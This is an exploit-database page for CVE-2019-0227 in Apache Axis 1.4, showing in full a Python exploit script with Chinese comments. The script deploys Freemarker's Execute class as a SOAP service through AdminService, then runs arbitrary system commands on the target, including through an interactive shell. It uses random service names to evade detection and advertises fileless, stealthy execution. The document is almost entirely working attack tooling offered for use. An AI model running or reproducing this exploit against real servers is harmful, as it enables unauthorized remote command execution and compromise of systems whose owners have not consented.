Exploit databaseDownload repository ZIP
GH-e4e4e383b97afe29f610701c047ae79b
1475210817/axis1.4-cve-2019-0227
Sources for CVE-2019-0227
5 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
1475210817/axis1.4-cve-2019-0227Revision a65c26e0b690
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
freemarker-exec/axis_exp_Freemarker.py
Python · 8,417 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Axis1.4 CVE-2019-0227 漏洞利用脚本 - Freemarker 直接执行方式
特点:不写文件,通过 Freemarker Execute 类直接执行系统命令
"""
import requests
import urllib3
import sys
import argparse
import random
import string
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class AxisFreemarkerExploit:
def __init__(self, target, username=None, password=None):
self.target = target.rstrip('/')
self.admin_service = f"{self.target}/services/AdminService"
# 随机生成服务名(避免被检测)
self.service_name = self._random_string(8)
self.service_url = f"{self.target}/services/{self.service_name}"
if username and password:
self.auth = HTTPBasicAuth(username, password)
else:
self.auth = None
self.headers = {
'Content-Type': 'application/xml',
'SOAPAction': 'something',
'User-Agent': 'Mozilla/5.0'
}
def _random_string(self, length):
"""生成随机字符串"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def deploy(self):
"""部署 Freemarker Execute 服务"""
print(f"[*] 部署 Freemarker 服务: {self.service_name}")
payload = f'''<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/"
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<ns1:service name="{self.service_name}" provider="java:RPC">
<ns1:parameter name="className" value="freemarker.template.utility.Execute"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>'''
try:
r = requests.post(self.admin_service, data=payload.encode('utf-8'),
headers=self.headers, auth=self.auth, verify=False, timeout=15)
if r.status_code == 200 and 'Done processing' in r.text:
print(f"[+] Freemarker 服务部署成功: {self.service_name}")
return True
else:
print(f"[-] 部署失败 (HTTP {r.status_code})")
if r.status_code == 401:
print("[!] 可能需要认证,请使用 -U 和 -P 参数")
elif r.status_code == 403:
print("[!] enableRemoteAdmin 可能未设置为 true")
return False
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
def exec_cmd(self, command):
"""通过 Freemarker Execute 执行命令"""
print(f"[*] 执行命令: {command}")
# 正确的 SOAP 请求格式(数组参数)
payload = f'''<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<arg0 xsi:type="soapenc:Array" soapenc:arrayType="xsd:string[1]"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<item xsi:type="xsd:string">{command}</item>
</arg0>
</exec>
</soapenv:Body>
</soapenv:Envelope>'''
try:
r = requests.post(self.service_url, data=payload.encode('utf-8'),
headers=self.headers, auth=self.auth, verify=False, timeout=15)
if r.status_code == 200:
# 提取 execReturn 中的结果
result = self._extract_result(r.text)
return result if result else "(无输出)"
else:
return f"[ERROR] HTTP {r.status_code}"
except Exception as e:
return f"[ERROR] {e}"
def _extract_result(self, response_text):
"""从 SOAP 响应中提取命令执行结果"""
import re
# 匹配 <execReturn>...</execReturn> 中的内容
pattern = r'<execReturn[^>]*>(.*?)</execReturn>'
match = re.search(pattern, response_text, re.DOTALL)
if match:
return match.group(1).strip()
return None
def run(self, command=None):
"""完整利用流程"""
print("=" * 60)
print("Axis1.4 CVE-2019-0227 漏洞利用工具 (Freemarker 直接执行)")
print(f"目标: {self.target}")
print(f"服务名: {self.service_name}")
print("=" * 60)
if not self.deploy():
print("\n[!] 利用失败!请检查:")
print(" 1. enableRemoteAdmin=\"true\" 是否已设置")
print(" 2. freemarker.jar 是否在 WEB-INF/lib/ 目录下")
print(" 3. 认证信息是否正确(使用 -U 和 -P 参数)")
return False
print("\n[+] 漏洞利用成功!")
print(f"[+] 服务地址: {self.service_url}")
print(f"[+] 可通过 exec 方法执行任意系统命令")
if command:
print()
result = self.exec_cmd(command)
print("-" * 50)
print(result)
print("-" * 50)
return True
def interactive_shell(self):
"""交互式 Shell"""
print("\n[*] 进入交互式 Shell (输入 'exit' 退出)")
print("[*] 命令将通过 Freemarker Execute 直接执行,不写文件")
print()
while True:
try:
cmd = input(f"\n{self.service_name}$ ").strip()
if cmd.lower() == 'exit':
print("[*] 退出")
break
if not cmd:
continue
result = self.exec_cmd(cmd)
if result:
print(result)
except KeyboardInterrupt:
print("\n[*] 退出")
break
def main():
parser = argparse.ArgumentParser(
description='Axis1.4 CVE-2019-0227 漏洞利用工具 (Freemarker 直接执行方式)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
示例:
# 执行单条命令
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"
# 交互式 Shell
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i
# 带认证
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
特点:
- 不写入任何文件,直接在内存中执行命令
- 命令执行结果通过 SOAP 响应返回
- 更隐蔽,无文件落地
'''
)
parser.add_argument('-u', '--url', required=True,
help='目标 Axis 服务地址,如 http://localhost:8080/axis/')
parser.add_argument('-c', '--command',
help='执行单条命令')
parser.add_argument('-i', '--interactive', action='store_true',
help='交互式 Shell 模式')
parser.add_argument('-U', '--username',
help='Basic 认证用户名(如果配置了 adminPassword)')
parser.add_argument('-P', '--password',
help='Basic 认证密码')
args = parser.parse_args()
# 处理 URL 格式
url = args.url.rstrip('/')
if not url.endswith('/axis'):
if url.endswith('/'):
url = url[:-1]
if not url.endswith('/axis'):
url = url + '/axis'
exp = AxisFreemarkerExploit(url, args.username, args.password)
if args.interactive:
if exp.run():
exp.interactive_shell()
elif args.command:
exp.run(args.command)
else:
print("[!] 请使用 -c 指定命令或 -i 进入交互模式")
print(" python3 axis_freemarker_exp.py -h 查看帮助")
if __name__ == "__main__":
main()